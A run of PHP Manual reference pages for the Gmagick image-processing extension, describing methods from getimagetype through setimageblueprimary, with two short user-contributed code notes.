Gmagick


Gets the potential image type.

Gmagick::getimagesignature
Gmagick::getimageunits
Gmagick
PHP Manual

Gmagick::getimagetype

(PECL gmagick >= Unknown)

Gmagick::getimagetype — Gets the potential image type.

Description

public int Gmagick::getimagetype ( void )

Gets the potential image type.

Parameters

This function has no parameters.

Return Values

Returns the potential image type.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagesignature
Gmagick::getimageunits
Gmagick


Gets the image units of resolution

Gmagick::getimagetype
Gmagick::getimagewhitepoint
Gmagick
PHP Manual

Gmagick::getimageunits

(PECL gmagick >= Unknown)

Gmagick::getimageunits — Gets the image units of resolution

Description

public int Gmagick::getimageunits ( void )

Gets the image units of resolution.

Parameters

This function has no parameters.

Return Values

Returns the image units of resolution.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagetype
Gmagick::getimagewhitepoint
Gmagick


Returns the chromaticity white point

Gmagick::getimageunits
Gmagick::getimagewidth
Gmagick
PHP Manual

Gmagick::getimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::getimagewhitepoint — Returns the chromaticity white point

Description

public array Gmagick::getimagewhitepoint ( void )

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Parameters

This function has no parameters.

Return Values

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimageunits
Gmagick::getimagewidth
Gmagick


Returns the width of the image

Gmagick::getimagewhitepoint
Gmagick::getpackagename
Gmagick
PHP Manual

Gmagick::getimagewidth

(PECL gmagick >= Unknown)

Gmagick::getimagewidth — Returns the width of the image

Description

public int Gmagick::getimagewidth ( void )

Returns the width of the image.

Parameters

This function has no parameters.

Return Values

Returns the image width.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagewhitepoint
Gmagick::getpackagename
Gmagick


Returns the GraphicsMagick package name.

Gmagick::getimagewidth
Gmagick::getquantumdepth
Gmagick
PHP Manual

Gmagick::getpackagename

(PECL gmagick >= Unknown)

Gmagick::getpackagename — Returns the GraphicsMagick package name.

Description

public string Gmagick::getpackagename ( void )

Returns the GraphicsMagick package name.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick package name as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getimagewidth
Gmagick::getquantumdepth
Gmagick


Returns the Gmagick quantum depth as a string.

Gmagick::getpackagename
Gmagick::getreleasedate
Gmagick
PHP Manual

Gmagick::getquantumdepth

(PECL gmagick >= Unknown)

Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.

Description

public array Gmagick::getquantumdepth ( void )

Returns the Gmagick quantum depth as a string.

Parameters

This function has no parameters.

Return Values

Returns the Gmagick quantum depth as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getpackagename
Gmagick::getreleasedate
Gmagick


Returns the GraphicsMagick release date as a string.

Gmagick::getquantumdepth
Gmagick::getsamplingfactors
Gmagick
PHP Manual

Gmagick::getreleasedate

(PECL gmagick >= Unknown)

Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.

Description

public string Gmagick::getreleasedate ( void )

Returns the GraphicsMagick release date as a string.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick release date as a string.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getquantumdepth
Gmagick::getsamplingfactors
Gmagick


Gets the horizontal and vertical sampling factor.

Gmagick::getreleasedate
Gmagick::getsize
Gmagick
PHP Manual

Gmagick::getsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.

Description

public array Gmagick::getsamplingfactors ( void )

Gets the horizontal and vertical sampling factor.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the horizontal and vertical sampling factors of the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getreleasedate
Gmagick::getsize
Gmagick


Returns the size associated with the Gmagick object

Gmagick::getsamplingfactors
Gmagick::getversion
Gmagick
PHP Manual

Gmagick::getsize

(PECL gmagick >= Unknown)

Gmagick::getsize — Returns the size associated with the Gmagick object

Description

public array Gmagick::getsize ( void )

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

Parameters

This function has no parameters.

Return Values

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getsamplingfactors
Gmagick::getversion
Gmagick


Returns the GraphicsMagick API version

Gmagick::getsize
Gmagick::hasnextimage
Gmagick
PHP Manual

Gmagick::getversion

(PECL gmagick >= Unknown)

Gmagick::getversion — Returns the GraphicsMagick API version

Description

public array Gmagick::getversion ( void )

Returns the GraphicsMagick API version as a string and as a number.

Parameters

This function has no parameters.

Return Values

Returns the GraphicsMagick API version as a string and as a number.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getsize
Gmagick::hasnextimage
Gmagick


Checks if the object has more images

Gmagick::getversion
Gmagick::haspreviousimage
Gmagick
PHP Manual

Gmagick::hasnextimage

(PECL gmagick >= Unknown)

Gmagick::hasnextimage — Checks if the object has more images

Description

public mixed Gmagick::hasnextimage ( void )

Returns TRUE if the object has more images when traversing the list in the forward direction.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object has more images when traversing the list in the forward direction, returns FALSE if there are none.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::getversion
Gmagick::haspreviousimage
Gmagick


Checks if the object has a previous image

Gmagick::hasnextimage
Gmagick::implodeimage
Gmagick
PHP Manual

Gmagick::haspreviousimage

(PECL gmagick >= Unknown)

Gmagick::haspreviousimage — Checks if the object has a previous image

Description

public mixed Gmagick::haspreviousimage ( void )

Returns TRUE if the object has more images when traversing the list in the reverse direction

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object has more images when traversing the list in the reverse direction, returns FALSE if there are none.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::hasnextimage
Gmagick::implodeimage
Gmagick


Creates a new image as a copy

Gmagick::haspreviousimage
Gmagick::labelimage
Gmagick
PHP Manual

Gmagick::implodeimage

(PECL gmagick >= Unknown)

Gmagick::implodeimage — Creates a new image as a copy

Description

public mixed Gmagick::implodeimage ( float $radius )

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

Parameters

radius

The radius of the implode

Return Values

Returns imploded Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::haspreviousimage
Gmagick::labelimage
Gmagick


Adds a label to an image.

Gmagick::implodeimage
Gmagick::levelimage
Gmagick
PHP Manual

Gmagick::labelimage

(PECL gmagick >= Unknown)

Gmagick::labelimage — Adds a label to an image.

Description

public mixed Gmagick::labelimage ( string $label )

Adds a label to an image.

Parameters

label

The label to add

Return Values

Gmagick with label.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::implodeimage
Gmagick::levelimage
Gmagick


Adjusts the levels of an image

Gmagick::labelimage
Gmagick::magnifyimage
Gmagick
PHP Manual

Gmagick::levelimage

(PECL gmagick >= Unknown)

Gmagick::levelimage — Adjusts the levels of an image

Description

public mixed Gmagick::levelimage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Gmagick::CHANNEL_DEFAULT ] )

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

Parameters

blackPoint

The image black point

gamma

The gamma value

whitePoint

The image white point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Gmagick object with image levelled.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::labelimage
Gmagick::magnifyimage
Gmagick


Scales an image proportionally 2x

Gmagick::levelimage
Gmagick::mapimage
Gmagick
PHP Manual

Gmagick::magnifyimage

(PECL gmagick >= Unknown)

Gmagick::magnifyimage — Scales an image proportionally 2x

Description

public mixed Gmagick::magnifyimage ( void )

Conveniently scales an image proportionally to twice its original size.

Parameters

This function has no parameters.

Return Values

Magnified Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::levelimage
Gmagick::mapimage
Gmagick


Replaces the colors of an image with the closest color from a reference image.

Gmagick::magnifyimage
Gmagick::medianfilterimage
Gmagick
PHP Manual

Gmagick::mapimage

(PECL gmagick >= Unknown)

Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.

Description

public Gmagick Gmagick::mapimage ( gmagick $gmagick , bool $dither )

Replaces the colors of an image with the closest color from a reference image.

Parameters

gmagick

The reference image

dither

Set this integer value to something other than zero to dither the mapped image

Return Values

Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::magnifyimage
Gmagick::medianfilterimage
Gmagick


Applies a digital filter

Gmagick::mapimage
Gmagick::minifyimage
Gmagick
PHP Manual

Gmagick::medianfilterimage

(PECL gmagick >= Unknown)

Gmagick::medianfilterimage — Applies a digital filter

Description

public void Gmagick::medianfilterimage ( float $radius )

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

Gmagick object with median filter applied.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::mapimage
Gmagick::minifyimage
Gmagick


Scales an image proportionally to half its size

Gmagick::medianfilterimage
Gmagick::modulateimage
Gmagick
PHP Manual

Gmagick::minifyimage

(PECL gmagick >= Unknown)

Gmagick::minifyimage — Scales an image proportionally to half its size

Description

public void Gmagick::minifyimage ( void )

A convenient method that scales an image proportionally to one-half its original size

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::medianfilterimage
Gmagick::modulateimage
Gmagick


Control the brightness, saturation, and hue

Gmagick::minifyimage
Gmagick::motionblurimage
Gmagick
PHP Manual

Gmagick::modulateimage

(PECL gmagick >= Unknown)

Gmagick::modulateimage — Control the brightness, saturation, and hue

Description

public void Gmagick::modulateimage ( float $brightness , float $saturation , float $hue )

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

Parameters

brightness

The percent change in brighness (-100 thru +100).

saturation

The percent change in saturation (-100 thru +100)

hue

The percent change in hue (-100 thru +100)

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::minifyimage
Gmagick::motionblurimage
Gmagick


Simulates motion blur

Gmagick::modulateimage
Gmagick::newimage
Gmagick
PHP Manual

Gmagick::motionblurimage

(PECL gmagick >= Unknown)

Gmagick::motionblurimage — Simulates motion blur

Description

public void Gmagick::motionblurimage ( float $radius , float $sigma , float $angle )

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and MotionBlurImage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::modulateimage
Gmagick::newimage
Gmagick


Creates a new image

Gmagick::motionblurimage
Gmagick::nextimage
Gmagick
PHP Manual

Gmagick::newimage

(PECL gmagick >= Unknown)

Gmagick::newimage — Creates a new image

Description

public void Gmagick::newimage ( int $width , int $height , string $background [, string $format ] )

Creates a new image with the specified background color

Parameters

width

Width of the new image

height

Height of the new image

background

The background color used for this image (as float)

format

Image format.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::motionblurimage
Gmagick::nextimage
Gmagick


Moves to the next image

Gmagick::newimage
Gmagick::normalizeimage
Gmagick
PHP Manual

Gmagick::nextimage

(PECL gmagick >= Unknown)

Gmagick::nextimage — Moves to the next image

Description

public bool Gmagick::nextimage ( void )

Associates the next image in the image list with an Gmagick object.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::newimage
Gmagick::normalizeimage
Gmagick


Enhances the contrast of a color image

Gmagick::nextimage
Gmagick::oilpaintimage
Gmagick
PHP Manual

Gmagick::normalizeimage

(PECL gmagick >= Unknown)

Gmagick::normalizeimage — Enhances the contrast of a color image

Description

public void Gmagick::normalizeimage ([ int $channel ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

Parameters

channel

Identify which channel to normalize

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::nextimage
Gmagick::oilpaintimage
Gmagick


Simulates an oil painting

Gmagick::normalizeimage
Gmagick::previousimage
Gmagick
PHP Manual

Gmagick::oilpaintimage

(PECL gmagick >= Unknown)

Gmagick::oilpaintimage — Simulates an oil painting

Description

public void Gmagick::oilpaintimage ( float $radius )

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

Parameters

radius

The radius of the circular neighborhood.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::normalizeimage
Gmagick::previousimage
Gmagick


Move to the previous image in the object

Gmagick::oilpaintimage
Gmagick::profileimage
Gmagick
PHP Manual

Gmagick::previousimage

(PECL gmagick >= Unknown)

Gmagick::previousimage — Move to the previous image in the object

Description

public bool Gmagick::previousimage ( void )

Assocates the previous image in an image list with the Gmagick object.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::oilpaintimage
Gmagick::profileimage
Gmagick


Adds or removes a profile from an image

Gmagick::previousimage
Gmagick::quantizeimage
Gmagick
PHP Manual

Gmagick::profileimage

(PECL gmagick >= Unknown)

Gmagick::profileimage — Adds or removes a profile from an image

Description

public void Gmagick::profileimage ( string $name , string $profile )

Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is NULL, it is removed from the image otherwise added. Use a name of '*' and a profile of NULL to remove all profiles from the image.

Parameters

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::previousimage
Gmagick::quantizeimage
Gmagick


Analyzes the colors within a reference image

Gmagick::profileimage
Gmagick::quantizeimages
Gmagick
PHP Manual

Gmagick::quantizeimage

(PECL gmagick >= Unknown)

Gmagick::quantizeimage — Analyzes the colors within a reference image

Description

public void Gmagick::quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )

Analyzes the colors within a reference image and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

Parameters

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::profileimage
Gmagick::quantizeimages
Gmagick


The quantizeimages purpose

Gmagick::quantizeimage
Gmagick::queryfontmetrics
Gmagick
PHP Manual

Gmagick::quantizeimages

(PECL gmagick >= Unknown)

Gmagick::quantizeimages — The quantizeimages purpose

Description

public void Gmagick::quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )

Analyzes the colors within a sequence of images and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

Parameters

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::quantizeimage
Gmagick::queryfontmetrics
Gmagick


Returns an array representing the font metrics

Gmagick::quantizeimages
Gmagick::queryfonts
Gmagick
PHP Manual

Gmagick::queryfontmetrics

(PECL gmagick >= Unknown)

Gmagick::queryfontmetrics — Returns an array representing the font metrics

Description

public array Gmagick::queryfontmetrics ( GmagickDraw $draw , string $text )

MagickQueryFontMetrics() returns an array representing the font metrics.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::quantizeimages
Gmagick::queryfonts
Gmagick


Returns the configured fonts

Gmagick::queryfontmetrics
Gmagick::queryformats
Gmagick
PHP Manual

Gmagick::queryfonts

(PECL gmagick >= Unknown)

Gmagick::queryfonts — Returns the configured fonts

Description

public array Gmagick::queryfonts ([ string $pattern = "*" ] )

Returns fonts supported by Gmagick.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Mathew Oransky 02-Nov-2009 06:39
An example of how to get the fonts available.
<?php
$image = new Gmagick();
$fonts = $image->queryfonts();
foreach($fonts as $font){
  echo $font."\n";
}
?>
Gmagick::queryfontmetrics
Gmagick::queryformats
Gmagick


Returns formats supported by Gmagick.

Gmagick::queryfonts
Gmagick::radialblurimage
Gmagick
PHP Manual

Gmagick::queryformats

(PECL gmagick >= Unknown)

Gmagick::queryformats — Returns formats supported by Gmagick.

Description

public array Gmagick::queryformats ([ string $pattern = "*" ] )

Returns formats supported by Gmagick.

Parameters

pattern

Specifies a pointer to a text string containing a pattern.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::queryfonts
Gmagick::radialblurimage
Gmagick


Radial blurs an image

Gmagick::queryformats
Gmagick::raiseimage
Gmagick
PHP Manual

Gmagick::radialblurimage

(PECL gmagick >= Unknown)

Gmagick::radialblurimage — Radial blurs an image

Description

public void Gmagick::radialblurimage ( float $angle [, int $channel = Gmagick::CHANNEL_DEFAULT ] )

Radial blurs an image.

Parameters

angle

The angle of the blur in degrees.

channel

Related channel

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::queryformats
Gmagick::raiseimage
Gmagick


Creates a simulated 3d button-like effect

Gmagick::radialblurimage
Gmagick::read
Gmagick
PHP Manual

Gmagick::raiseimage

(PECL gmagick >= Unknown)

Gmagick::raiseimage — Creates a simulated 3d button-like effect

Description

public void Gmagick::raiseimage ( int $width , int $height , int $x , int $y , bool $raise )

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

Parameters

width

Width of the area to raise.

height

Height of the area to raise.

x

X coordinate

y

Y coordinate

raise

A value other than zero creates a 3-D raise effect, otherwise it has a lowered effect.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::radialblurimage
Gmagick::read
Gmagick


Reads image from filename

Gmagick::raiseimage
Gmagick::readimage
Gmagick
PHP Manual

Gmagick::read

(PECL gmagick >= Unknown)

Gmagick::read — Reads image from filename

Description

public void Gmagick::read ( string $filename )

Reads image from filename.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::raiseimage
Gmagick::readimage
Gmagick


Reads image from filename

Gmagick::read
Gmagick::readimageblob
Gmagick
PHP Manual

Gmagick::readimage

(PECL gmagick >= Unknown)

Gmagick::readimage — Reads image from filename

Description

public void Gmagick::readimage ( string $filename )

Reads image from filename.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::read
Gmagick::readimageblob
Gmagick


Reads image from a binary string

Gmagick::readimage
Gmagick::readimagefile
Gmagick
PHP Manual

Gmagick::readimageblob

(PECL gmagick >= Unknown)

Gmagick::readimageblob — Reads image from a binary string

Description

public void Gmagick::readimageblob ( string $imageContents [, string $filename ] )

Reads image from a binary string.

Parameters

imageContents

Content of image

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

MPLong 28-Jun-2010 11:29
If you want to be able to do the opposite (output your gmagick object to a blob), then use getImageBlob() like this:

$outputstring = $im->getImageBlob();

This is apparently undocumented here, but since the entire library is ported/modeled on the imagemagick library, it makes sense that it uses the same name as imagemagick.
Gmagick::readimage
Gmagick::readimagefile
Gmagick


The readimagefile purpose

Gmagick::readimageblob
Gmagick::reducenoiseimage
Gmagick
PHP Manual

Gmagick::readimagefile

(PECL gmagick >= Unknown)

Gmagick::readimagefile — The readimagefile purpose

Description

public void Gmagick::readimagefile ( resource $fp [, string $filename ] )

Reads an image or image sequence from an open file descriptor.

Parameters

fp

The file descriptor.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::readimageblob
Gmagick::reducenoiseimage
Gmagick


Smooths the contours of an image

Gmagick::readimagefile
Gmagick::removeimage
Gmagick
PHP Manual

Gmagick::reducenoiseimage

(PECL gmagick >= Unknown)

Gmagick::reducenoiseimage — Smooths the contours of an image

Description

public void Gmagick::reducenoiseimage ( float $radius )

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Gmagick::reduceNoiseImage() selects a suitable radius for you.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::readimagefile
Gmagick::removeimage
Gmagick


Removes an image from the image list

Gmagick::reducenoiseimage
Gmagick::removeimageprofile
Gmagick
PHP Manual

Gmagick::removeimage

(PECL gmagick >= Unknown)

Gmagick::removeimage — Removes an image from the image list

Description

public void Gmagick::removeimage ( void )

Removes an image from the image list.

Parameters

This function has no parameters.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::reducenoiseimage
Gmagick::removeimageprofile
Gmagick


Removes the named image profile and returns it

Gmagick::removeimage
Gmagick::resampleimage
Gmagick
PHP Manual

Gmagick::removeimageprofile

(PECL gmagick >= Unknown)

Gmagick::removeimageprofile — Removes the named image profile and returns it

Description

public string Gmagick::removeimageprofile ( string $name )

Removes the named image profile and returns it.

Parameters

name

Name of profile to return: ICC, IPTC, or generic profile.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::removeimage
Gmagick::resampleimage
Gmagick


Resample image to desired resolution

Gmagick::removeimageprofile
Gmagick::resizeimage
Gmagick
PHP Manual

Gmagick::resampleimage

(PECL gmagick >= Unknown)

Gmagick::resampleimage — Resample image to desired resolution

Description

public void Gmagick::resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur )

Resample image to desired resolution.

Parameters

xResolution

The new image x resolution.

yResolution

The new image y resolution.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, smaller than 1 is sharp.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::removeimageprofile
Gmagick::resizeimage
Gmagick


Scales an image

Gmagick::resampleimage
Gmagick::rollimage
Gmagick
PHP Manual

Gmagick::resizeimage

(PECL gmagick >= Unknown)

Gmagick::resizeimage — Scales an image

Description

public void Gmagick::resizeimage ( int $width , int $height , int $filter , float $blur [, bool $fit = false ] )

Scales an image to the desired dimensions with a filter.

Parameters

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, lesser than 1 is sharp.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::resampleimage
Gmagick::rollimage
Gmagick


Offsets an image

Gmagick::resizeimage
Gmagick::rotateimage
Gmagick
PHP Manual

Gmagick::rollimage

(PECL gmagick >= Unknown)

Gmagick::rollimage — Offsets an image

Description

public void Gmagick::rollimage ( int $x , int $y )

Offsets an image as defined by x and y.

Parameters

x

The x offset.

y

The y offset.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::resizeimage
Gmagick::rotateimage
Gmagick


Rotates an image

Gmagick::rollimage
Gmagick::scaleimage
Gmagick
PHP Manual

Gmagick::rotateimage

(PECL gmagick >= Unknown)

Gmagick::rotateimage — Rotates an image

Description

public Gmagick Gmagick::rotateimage ( mixed $color , float $degrees )

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

Parameters

color

The background pixel.

degrees

The number of degrees to rotate the image.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::rollimage
Gmagick::scaleimage
Gmagick


Scales the size of an image

Gmagick::rotateimage
Gmagick::separateimagechannel
Gmagick
PHP Manual

Gmagick::scaleimage

(PECL gmagick >= Unknown)

Gmagick::scaleimage — Scales the size of an image

Description

public Gmagick Gmagick::scaleimage ( int $width , int $height [, bool $fit = false ] )

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

Parameters

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

Return Values

The Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::rotateimage
Gmagick::separateimagechannel
Gmagick


Separates a channel from the image

Gmagick::scaleimage
Gmagick::setfilename
Gmagick
PHP Manual

Gmagick::separateimagechannel

(PECL gmagick >= Unknown)

Gmagick::separateimagechannel — Separates a channel from the image

Description

public Gmagick Gmagick::separateimagechannel ( int $channel )

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

Parameters

channel

Identify which channel to extract: RedChannel, GreenChannel, BlueChannel, OpacityChannel, CyanChannel, MagentaChannel, YellowChannel, BlackChannel.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::scaleimage
Gmagick::setfilename
Gmagick


Sets the filename before you read or write the image

Gmagick::separateimagechannel
Gmagick::setimagebackgroundcolor
Gmagick
PHP Manual

Gmagick::setfilename

(PECL gmagick >= Unknown)

Gmagick::setfilename — Sets the filename before you read or write the image

Description

public Gmagick Gmagick::setfilename ( string $filename )

Sets the filename before you read or write an image file.

Parameters

filename

The image filename.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::separateimagechannel
Gmagick::setimagebackgroundcolor
Gmagick


Sets the image background color.

Gmagick::setfilename
Gmagick::setimageblueprimary
Gmagick
PHP Manual

Gmagick::setimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::setimagebackgroundcolor — Sets the image background color.

Description

public Gmagick Gmagick::setimagebackgroundcolor ( GmagickPixel $color )

Sets the image background color.

Parameters

color

The background pixel wand.

Return Values

The Gmagick object on success

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Gmagick::setfilename
Gmagick::setimageblueprimary
Gmagick


Sets the image chromaticity blue primary point.

Gmagick::setimagebackgroundcolor
Gmagick::setimagebordercolor
Gmagick
PHP Manual

Gmagick::setimageblueprimary

(PECL gmagick >= Unknown)

